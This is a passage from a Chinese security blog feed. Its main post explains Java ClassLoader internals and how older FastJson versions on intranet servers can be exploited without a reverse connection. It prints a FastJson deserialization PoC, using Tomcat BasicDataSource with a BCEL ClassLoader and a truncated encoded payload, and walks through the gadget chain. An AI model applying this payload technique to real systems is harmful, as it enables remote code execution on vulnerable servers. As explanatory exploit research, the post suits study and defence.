<li>报告编写</li>
</ul>
<p>其他的技能点还包括安全设备绕过、数据库利用、网络设备利用、木马免杀、持久化、工具与协同平台支持等等。对于项目来说,报告编写往往是展现成果最直接的环节,报告的细节、侧重点需要尽可能贴近项目要求或者比赛规则,是比较繁杂而不可或缺的工作。</p>
<p>作为防守方,为了应对全方位的攻击手法,除了常规防御外,加派安保人员防范近源渗透也不失为防御体系的一环。</p>
<p>以上是笔者一些粗浅的观察,仅当抛砖引玉。攻击和防守的博弈需要靠技术和经验,同时也是个体力活。言知之易,行之难,如何在有限时间内达成目标?合理的分工协同与工作节奏非常重要,攻防过程中需要保持良好的心态与清晰的思路,沉着冷静避免失误。道阻且长,行则将至,攻防双方均需砥砺前行。</p>
<p><span style="color:white;">本文来源:<a style="color:white;" href="https://kingx.me/Thinking-about-the-RedTeam-Engagement.html">https://kingx.me/Thinking-about-the-RedTeam-Engagement.html</a></span><br />
<span style="color:white;">公众号:安全引擎,转载请注明出处</span></p>
<p><a href="https://kingx.me/Thinking-about-the-RedTeam-Engagement.html">浅谈大规模红蓝对抗攻与防</a> was originally published by KINGX at <a href="https://kingx.me">KINGX</a> on October 12, 2020.</p>
</content>
</entry>
<entry>
<title type="html"><![CDATA[Java动态类加载,当FastJson遇到内网]]></title>
<link rel="alternate" type="text/html" href="https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html" />
<id>https://kingx.me/Exploit-FastJson-Without-Reverse-Connect</id>
<published>2019-12-31T00:00:00-05:00</published>
<updated>2019-12-31T00:00:00-05:00</updated>
<author>
<name>KINGX</name>
<uri>https://kingx.me</uri>
<email>root#kingx.me</email>
</author>
<content type="html">
<h2 id="0x00--2019补完">0x00 2019补完</h2>
<p>一晃半年没更了,文章草稿倒是积累了一沓,没太多时间写。然鹅前段时间竟然被在线催更,惭愧,于是决定赶在元旦前把一年以前的草稿给补完了,辞旧迎新。</p>
<p>都快2020年了,平时偶尔还是能遇到一些低版本的FastJson漏洞,现在遇到比较多的是部署在内网服务器上的场景。从外网对漏洞点进行探测,只有DNSLog可以成功请求回来,因为目标服务器没有外网、无法反连,自然就用不了JNDI注入的利用方式。那是不是就无法深入利用了呢?又如何向业务方证明这里的危害,今天我们借这个例子讲一下Java的动态类加载的机制。</p>
<p>(想了解FastJson内网利用方式的可以直接跳到0x05小节</p>
<h2 id="0x01--java类加载器classloader">0x01 Java类加载器:ClassLoader</h2>
<p>我们通常会把编程语言的处理器分为<code class="highlighter-rouge">解释器</code>和<code class="highlighter-rouge">编译器</code>。解释器是一种用于执行程序的软件,它会根据程序代码中的算法执行运算,如果这个执行软件是根据虚拟的或者类似机器语言的程序设计语言写成,那也称为虚拟机。编译器则是将某种语言代码转换为另外一种语言的程序,通常会转换为机器语言。</p>
<p>有些编程语言会混用解释器和编译器,比如Java会先通过编译器将源代码转换为Java二进制代码(字节码),并将这种虚拟的机器语言保存在文件中(通常是.class文件),之后通过Java虚拟机(JVM)的解释器来执行这段代码。</p>
<p>Java是面向对象的语言,字节码中包含了很多Class信息。在 JVM 解释执行的过程中,ClassLoader就是用来加载Java类的,它会将Java字节码中的Class加载到内存中。而每个 Class 对象的内部都有一个 classLoader 属性来标识自己是由哪个 ClassLoader 加载的。</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Class</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span> <span class="o">{</span>
<span class="o">...</span>
<span class="kd">private</span> <span class="nf">Class</span><span class="o">(</span><span class="n">ClassLoader</span> <span class="n">loader</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// Initialize final field for classLoader. The initialization value of non-null</span>
<span class="c1">// prevents future JIT optimizations from assuming this final field is null.</span>
<span class="n">classLoader</span> <span class="o">=</span> <span class="n">loader</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">...</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="n">ClassLoader</span> <span class="n">classLoader</span><span class="o">;</span>
<span class="o">...</span>
<span class="o">}</span>
</code></pre></div></div>
<p>ClassLoader类位于java.lang.ClassLoader,官方描述是这样的:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* A class loader is an object that is responsible for loading classes. The
* class &lt;tt&gt;ClassLoader&lt;/tt&gt; is an abstract class. Given the &lt;a
* href="#name"&gt;binary name&lt;/a&gt; of a class, a class loader should attempt to
* locate or generate data that constitutes a definition for the class. A
* typical strategy is to transform the name into a file name and then read a
* "class file" of that name from a file system.
*
* ...
*
* &lt;p&gt; The &lt;tt&gt;ClassLoader&lt;/tt&gt; class uses a delegation model to search for
* classes and resources. Each instance of &lt;tt&gt;ClassLoader&lt;/tt&gt; has an
* associated parent class loader. When requested to find a class or
* resource, a &lt;tt&gt;ClassLoader&lt;/tt&gt; instance will delegate the search for the
* class or resource to its parent class loader before attempting to find the
* class or resource itself. The virtual machine's built-in class loader,
* called the "bootstrap class loader", does not itself have a parent but may
* serve as the parent of a &lt;tt&gt;ClassLoader&lt;/tt&gt; instance.
*
* ...
**/</span>
<span class="kd">public</span> <span class="kd">abstract</span> <span class="kd">class</span> <span class="nc">ClassLoader</span> <span class="o">{</span>
<span class="o">...</span>
<span class="o">}</span>
</code></pre></div></div>
<h2 id="0x02--常见的classloader">0x02 常见的ClassLoader</h2>
<p>JDK内置常见的ClassLoader主要有这几个:BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLClassLoader、ContextClassLoader。</p>
<p>ClassLoader采用了委派模式(Parents Delegation Model)来搜索类和资源。每一个ClassLoader类的实例都有一个父级ClassLoader,当需要加载类时,ClassLoader实例会委派父级ClassLoader先进行加载,如果无法加载再自行加载。JVM 内置的 BootstrapClassLoader 自身没有父级ClassLoader,而它可以作为其他ClassLoader实例的父级。</p>
<ul>
<li>
<p>BootstrapClassLoader,启动类加载器/根加载器,负责加载 JVM 运行时核心类,这些类位于 JAVA_HOME/lib/rt.jar 文件中,我们常用内置库 java.*.* 都在里面。这个 ClassLoader 比较特殊,它其实不是一个ClassLoader实例对象,而是由C代码实现。用户在实现自定义类加载器时,如果需要把加载请求委派给启动类加载器,那可以直接传入null作为 BootstrapClassLoader。</p>
</li>
<li>
<p>ExtClassLoader,扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,库名通常以 javax 开头。</p>
</li>
<li>
<p>AppClassLoader,应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载 ClASSPATH 环境变量或者 java.class.path 属性里定义的路径中的 jar 包和目录,负责加载包括开发者代码中、第三方库中的类。</p>
</li>
<li>
<p>URLClassLoader,ClassLoader抽象类的一种实现,它可以根据URL搜索类或资源,并进行远程加载。BootstrapClassLoader、ExtClassLoader、AppClassLoader等都是 URLClassLoader 的子类。</p>
</li>
</ul>
<p>AppClassLoader 可以由 ClassLoader 类提供的静态方法 getSystemClassLoader() 得到,开发者编写代码中的类就是通过AppClassLoader进行加载的,包括 main() 方法中的第一个用户类。</p>
<p>我们可以运行如下代码查看ClassLoader的委派关系:</p>
<blockquote>
<p>ClassLoader.getParent() 可以获取用于委派的父级class loader,通常会返回null来表示bootstrap class loader。</p>
</blockquote>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">JavaClassLoader</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="n">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="n">ClassLoader</span> <span class="n">appClassloader</span> <span class="o">=</span> <span class="n">ClassLoader</span><span class="o">.</span><span class="na">getSystemClassLoader</span><span class="o">();</span>
<span class="n">ClassLoader</span> <span class="n">extensionClassloader</span> <span class="o">=</span> <span class="n">appClassloader</span><span class="o">.</span><span class="na">getParent</span><span class="o">();</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"AppClassLoader is "</span> <span class="o">+</span> <span class="n">appClassloader</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"The parent of AppClassLoader is "</span> <span class="o">+</span> <span class="n">extensionClassloader</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"The parent of ExtensionClassLoader is "</span> <span class="o">+</span> <span class="n">extensionClassloader</span><span class="o">.</span><span class="na">getParent</span><span class="o">());</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>执行结果:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
AppClassLoader is sun.misc.Launcher$AppClassLoader@18b4aac2
The parent of AppClassLoader is sun.misc.Launcher$ExtClassLoader@5e2de80c
The parent of ExtensionClassLoader is null
</code></pre></div></div>
<p>而 ExtensionClassLoader 和 AppClassLoader 都是 URLClassLoader 的子类,它们都是从本地文件系统里加载类库。URLClassLoader 不但可以加载远程类库,还可以加载本地路径的类库,取决于构造器中不同的地址形式。</p>
<p>ExtClassLoader 和 AppClassLoader 类的实现代码位于rt.jar 中的 sun.misc.Launcher 类中,Launcher是由BootstrapClassLoader加载的。ExtClassLoader 和 AppClassLoader 定义如下:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">static</span> <span class="kd">class</span> <span class="nc">ExtClassLoader</span> <span class="kd">extends</span> <span class="n">URLClassLoader</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kd">volatile</span> <span class="n">Launcher</span><span class="o">.</span><span class="na">ExtClassLoader</span> <span class="n">instance</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="n">Launcher</span><span class="o">.</span><span class="na">ExtClassLoader</span> <span class="nf">getExtClassLoader</span><span class="o">()</span> <span class="kd">throws</span> <span class="n">IOException</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">instance</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="n">Class</span> <span class="n">var0</span> <span class="o">=</span> <span class="n">Launcher</span><span class="o">.</span><span class="na">ExtClassLoader</span><span class="o">.</span><span class="na">class</span><span class="o">;</span>
<span class="kd">synchronized</span><span class="o">(</span><span class="n">Launcher</span><span class="o">.</span><span class="na">ExtClassLoader</span><span class="o">.</span><span class="na">class</span><span class="o">)</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">instance</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="n">instance</span> <span class="o">=</span> <span class="n">createExtClassLoader</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="k">return</span> <span class="n">instance</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">...</span>
<span class="kd">static</span> <span class="kd">class</span> <span class="nc">AppClassLoader</span> <span class="kd">extends</span> <span class="n">URLClassLoader</span> <span class="o">{</span>
<span class="kd">final</span> <span class="n">URLClassPath</span> <span class="n">ucp</span> <span class="o">=</span> <span class="n">SharedSecrets</span><span class="o">.</span><span class="na">getJavaNetAccess</span><span class="o">().</span><span class="na">getURLClassPath</span><span class="o">(</span><span class="k">this</span><span class="o">);</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="n">ClassLoader</span> <span class="nf">getAppClassLoader</span><span class="o">(</span><span class="kd">final</span> <span class="n">ClassLoader</span> <span class="n">var0</span><span class="o">)</span> <span class="kd">throws</span> <span class="n">IOException</span> <span class="o">{</span>
<span class="kd">final</span> <span class="n">String</span> <span class="n">var1</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.class.path"</span><span class="o">);</span>
<span class="kd">final</span> <span class="n">File</span><span class="o">[]</span> <span class="n">var2</span> <span class="o">=</span> <span class="n">var1</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="k">new</span> <span class="n">File</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">:</span> <span class="n">Launcher</span><span class="o">.</span><span class="na">getClassPath</span><span class="o">(</span><span class="n">var1</span><span class="o">);</span>
<span class="k">return</span> <span class="o">(</span><span class="n">ClassLoader</span><span class="o">)</span><span class="n">AccessController</span><span class="o">.</span><span class="na">doPrivileged</span><span class="o">(</span>
<span class="k">new</span> <span class="n">PrivilegedAction</span><span class="o">&lt;</span><span class="n">Launcher</span><span class="o">.</span><span class="na">AppClassLoader</span><span class="o">&gt;()</span> <span class="o">{</span>
<span class="kd">public</span> <span class="n">Launcher</span><span class="o">.</span><span class="na">AppClassLoader</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
<span class="n">URL</span><span class="o">[]</span> <span class="n">var1x</span> <span class="o">=</span> <span class="n">var1</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="k">new</span> <span class="n">URL</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">:</span> <span class="n">Launcher</span><span class="o">.</span><span class="na">pathToURLs</span><span class="o">(</span><span class="n">var2</span><span class="o">);</span>
<span class="k">return</span> <span class="k">new</span> <span class="n">Launcher</span><span class="o">.</span><span class="na">AppClassLoader</span><span class="o">(</span><span class="n">var1x</span><span class="o">,</span> <span class="n">var0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">});</span>
<span class="o">}</span>
</code></pre></div></div>
<h2 id="0x03--loadclassfindclassdefineclass">0x03 loadClass()、findClass()、defineClass()</h2>
<p>ClassLoader 中有几个重要的方法:loadClass()、findClass()、defineClass()。ClassLoader 尝试定位或者产生一个Class的数据,通常是把二进制名字转换成文件名然后到文件系统中找到该文件。</p>
<ul>
<li>
<p>loadClass(String classname),参数为需要加载的全限定类名,该方法会先查看目标类是否已经被加载,查看父级加载器并递归调用loadClass(),如果都没找到则调用findClass()。</p>
</li>
<li>
<p>findClass(),搜索类的位置,一般会根据名称或位置加载.class字节码文件,获取字节码数组,然后调用defineClass()。</p>
</li>
<li>
<p>defineClass(),将字节码转换为 JVM 的 java.lang.Class 对象。</p>
</li>
</ul>
<h2 id="0x04--classforname">0x04 Class.forName()</h2>
<p>Class.forName() 也可以用来动态加载指定的类,它会返回一个指定类/接口的 Class 对象,如果没有指定ClassLoader, 那么它会使用BootstrapClassLoader来进行类的加载。该方法定义如下:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="n">Class</span><span class="o">&lt;?&gt;</span> <span class="n">forName</span><span class="o">(</span><span class="n">String</span> <span class="n">name</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">initialize</span><span class="o">,</span> <span class="n">ClassLoader</span> <span class="n">loader</span><span class="o">)</span> <span class="kd">throws</span> <span class="n">ClassNotFoundException</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="n">Class</span><span class="o">&lt;?&gt;</span> <span class="n">forName</span><span class="o">(</span><span class="n">String</span> <span class="n">className</span><span class="o">)</span> <span class="kd">throws</span> <span class="n">ClassNotFoundException</span>
</code></pre></div></div>
<p>Class.forName() 和 ClassLoader.loadClass() 这两个方法都可以用来加载目标类,但是都不支持加载原生类型,比如:int。Class.forName() 可以加载数组,而 ClassLoader.loadClass() 不能。</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 动态加载 int 数组</span>
<span class="n">Class</span> <span class="n">ia</span> <span class="o">=</span> <span class="n">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="s">"[I"</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">ia</span><span class="o">);</span>
<span class="c1">// 会输出:</span>
<span class="c1">// class [I</span>
<span class="n">Class</span> <span class="n">ia2</span> <span class="o">=</span> <span class="n">ClassLoader</span><span class="o">.</span><span class="na">getSystemClassLoader</span><span class="o">().</span><span class="na">loadClass</span><span class="o">(</span><span class="s">"[I"</span><span class="o">);</span>
<span class="c1">// 数组类型不能使用ClassLoader.loadClass方法,会报错:</span>
<span class="c1">// Exception in thread "main" java.lang.ClassNotFoundException: [I</span>
</code></pre></div></div>
<p>Class.forName()方法实际上也是调用的 CLassLoader 来实现的,调用时也可以在参数中明确指定ClassLoader。与ClassLoader.loadClass() 一个小小的区别是,forName() 默认会对类进行初始化,会执行类中的 static 代码块。而ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。</p>
<p>我们执行如下测试代码:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Test</span><span class="o">{</span>
<span class="kd">static</span><span class="o">{</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"// This is static code executed"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">JavaClassLoader</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="n">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="n">ClassNotFoundException</span> <span class="o">{</span>
<span class="n">ClassLoader</span> <span class="n">appClassloader</span> <span class="o">=</span> <span class="n">ClassLoader</span><span class="o">.</span><span class="na">getSystemClassLoader</span><span class="o">();</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Execute Class.forName:"</span><span class="o">);</span>
<span class="n">Class</span> <span class="n">cl</span> <span class="o">=</span> <span class="n">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="s">"Test"</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">cl</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Execute ClassLoader:"</span><span class="o">);</span>
<span class="n">Class</span> <span class="n">cl2</span> <span class="o">=</span> <span class="n">appClassloader</span><span class="o">.</span><span class="na">loadClass</span><span class="o">(</span><span class="s">"Test"</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">cl2</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>执行结果如下,可以看到Class.forName()时,static代码块被执行了:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Execute Class.forName:
// This is static code executed
class Test
Execute ClassLoader:
class Test
</code></pre></div></div>
<h2 id="0x05-fastjson内网利用">0x05 FastJson内网利用</h2>
<p>还记得FastJson TemplatesImpl利用链吗 ?</p>
<p>TemplatesImpl.getOutputProperties()
&gt; TemplatesImpl.newTransformer()
&gt; TemplatesImpl.getTransletInstance()
&gt; TemplatesImpl.defineTransletClasses()</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">defineTransletClasses</span><span class="o">()</span>
<span class="kd">throws</span> <span class="n">TransformerConfigurationException</span> <span class="o">{</span>
<span class="o">...</span>
<span class="n">_class</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">loader</span><span class="o">.</span><span class="na">defineClass</span><span class="o">(</span><span class="n">_bytecodes</span><span class="o">[</span><span class="n">i</span><span class="o">]);</span>
<span class="kd">final</span> <span class="n">Class</span> <span class="n">superClass</span> <span class="o">=</span> <span class="n">_class</span><span class="o">[</span><span class="n">i</span><span class="o">].</span><span class="na">getSuperclass</span><span class="o">();</span>
<span class="c1">// Check if this is the main class</span>
<span class="k">if</span> <span class="o">(</span><span class="n">superClass</span><span class="o">.</span><span class="na">getName</span><span class="o">().</span><span class="na">equals</span><span class="o">(</span><span class="n">ABSTRACT_TRANSLET</span><span class="o">))</span> <span class="o">{</span>
<span class="o">...</span>
<span class="o">}</span>
</code></pre></div></div>
<p>这个PoC原理上也是利用了 ClassLoader 动态加载恶意代码,在Payload中直接传入字节码。TransletClassLoader.defineClass() 将 Bytecode 字节码转为Class对象。但是这种限制比较多,要求开发者在调用parseObject()时额外设置 Feature.SupportNonPublicField,这是不太常见的使用场景。</p>
<p>其实在2017年FastJson漏洞刚公布出来的时候,我们就很快捕获到了一个比较通用的Exploit,它利用了org.apache.tomcat.dbcp.dbcp.BasicDataSource类。这个Payload不需要反连,不要求特定的代码写法,直接传入恶意代码bytecode完成利用,而且依赖包 tomcat-dbcp 使用也比较广泛,是Tomcat的数据库驱动组件。但是网上对这个PoC的分析文章并不是很多,印象中只有genxor在&lt;DefineClass在Java反序列化当中的利用&gt;一文中有较为完整的分析。PoC如下:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="s2">"x"</span><span class="p">:{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span><span class="p">,</span><span class="w">
</span><span class="s2">"driverClassLoader"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="s2">"driverClassName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"$$BCEL$$$l$8b$I$A$..."</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}:</span><span class="w"> </span><span class="s2">"x"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>这里反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并完成了命令执行。直接看利用链:</p>
<p>BasicDataSource.getConnection()
&gt; createDataSource()
&gt; createConnectionFactory()</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">protected</span> <span class="n">ConnectionFactory</span> <span class="nf">createConnectionFactory</span><span class="o">()</span> <span class="kd">throws</span> <span class="n">SQLException</span> <span class="o">{</span>
<span class="o">...</span>
<span class="k">if</span> <span class="o">(</span><span class="n">driverClassLoader</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="n">driverFromCCL</span> <span class="o">=</span> <span class="n">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="n">driverClassName</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
<span class="n">driverFromCCL</span> <span class="o">=</span> <span class="n">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="n">driverClassName</span><span class="o">,</span> <span class="kc">true</span><span class="o">,</span> <span class="n">driverClassLoader</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">...</span>
</code></pre></div></div>
<p>经过一连串的调用链,在 BasicDataSource.createConnectionFactory() 中会调用 Class.forName(),还可以自定义ClassLoader。如上一节所说 Class.forName() 在动态加载类时,默认会进行初始化,所以这里在动态加载的过程中会执行 static 代码段。</p>
<p>那么在可控 classname 和 classloader 的情况下,如何实现命令执行呢?</p>
<p>接下来不得不提这个PoC中的 com.sun.org.apache.bcel.internal.util.ClassLoader 了,这是一个神奇的 ClassLoader,因为它会直接从 classname 中提取 Class 的 bytecode 数据。</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">protected</span> <span class="n">Class</span> <span class="nf">loadClass</span><span class="o">(</span><span class="n">String</span> <span class="n">class_name</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">resolve</span><span class="o">)</span> <span class="kd">throws</span> <span class="n">ClassNotFoundException</span>
<span class="o">{</span>
<span class="o">...</span>
<span class="k">if</span><span class="o">(</span><span class="n">class_name</span><span class="o">.</span><span class="na">indexOf</span><span class="o">(</span><span class="s">"$$BCEL$$"</span><span class="o">)</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="o">)</span>
<span class="n">clazz</span> <span class="o">=</span> <span class="n">createClass</span><span class="o">(</span><span class="n">class_name</span><span class="o">);</span>
<span class="k">else</span> <span class="o">{</span>
<span class="o">...</span>
<span class="o">}</span>
<span class="k">if</span><span class="o">(</span><span class="n">clazz</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">bytes</span> <span class="o">=</span> <span class="n">clazz</span><span class="o">.</span><span class="na">getBytes</span><span class="o">();</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">defineClass</span><span class="o">(</span><span class="n">class_name</span><span class="o">,</span> <span class="n">bytes</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">bytes</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="n">class_name</span><span class="o">);</span>
<span class="o">....</span>
<span class="k">return</span> <span class="n">cl</span><span class="o">;</span>
<span class="o">}</span>
<span class="cm">/*
* The name contains the special token $$BCEL$$. Everything before that
* token is consddered to be a package name. You can encode you own
* arguments into the subsequent string.
* The default implementation interprets the string as a encoded compressed
* Java class, unpacks and decodes it with the Utility.decode() method, and
* parses the resulting byte array and returns the resulting JavaClass object.
*
* @param class_name compressed byte code with "$$BCEL$$" in it
*/</span>
<span class="kd">protected</span> <span class="n">JavaClass</span> <span class="nf">createClass</span><span class="o">(</span><span class="n">String</span> <span class="n">class_name</span><span class="o">)</span> <span class="o">{</span>
<span class="o">...</span>
<span class="o">}</span>
</code></pre></div></div>
<p>如果 classname 中包含 <code class="highlighter-rouge">$$BCEL$$</code> ,这个 ClassLoader 则会将<code class="highlighter-rouge">$$BCEL$$</code>后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取 Class 对象。</p>
<p>于是我们通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块中即可。</p>
<p>BCEL编码和解码的方法:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">com.sun.org.apache.bcel.internal.classfile.Utility</span><span class="o">;</span>
<span class="o">...</span>
<span class="n">String</span> <span class="n">s</span> <span class="o">=</span> <span class="n">Utility</span><span class="o">.</span><span class="na">encode</span><span class="o">(</span><span class="n">data</span><span class="o">,</span><span class="kc">true</span><span class="o">);</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">bytes</span> <span class="o">=</span> <span class="n">Utility</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">s</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span>
<span class="o">...</span>
</code></pre></div></div>
<h3 id="0x051--你知道吗">0x05.1 你知道吗</h3>
<p>再回顾一下PoC</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="s2">"x"</span><span class="p">:{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span><span class="p">,</span><span class="w">
</span><span class="s2">"driverClassLoader"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="s2">"driverClassName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"$$BCEL$$$l$8b$I$A$..."</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}:</span><span class="w"> </span><span class="s2">"x"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>这里PoC结构上还有一个值得注意的地方在于,</p>
<ol>
<li>先是将 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段放到JSON Value的位置上,之后在外面又套了一层 “{}”。</li>
<li>之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。</li>
</ol>
<p>为什么这么设计呢?</p>
<p>因为为了完成前面说的一整个利用链,我们需要触发 BasicDataSource.getConnection() 方法。</p>
<p>我在 <a href="https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA">FastJson反序列化漏洞利用的三个细节</a> 提到过,FastJson中的 JSON.parse() 会识别并调用目标类的 setter 方法以及某些满足特定条件的 getter 方法,然而 getConnection() 并不符合特定条件,所以正常来说在 FastJson 反序列化的过程中并不会被调用。</p>
<p>原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。</p>
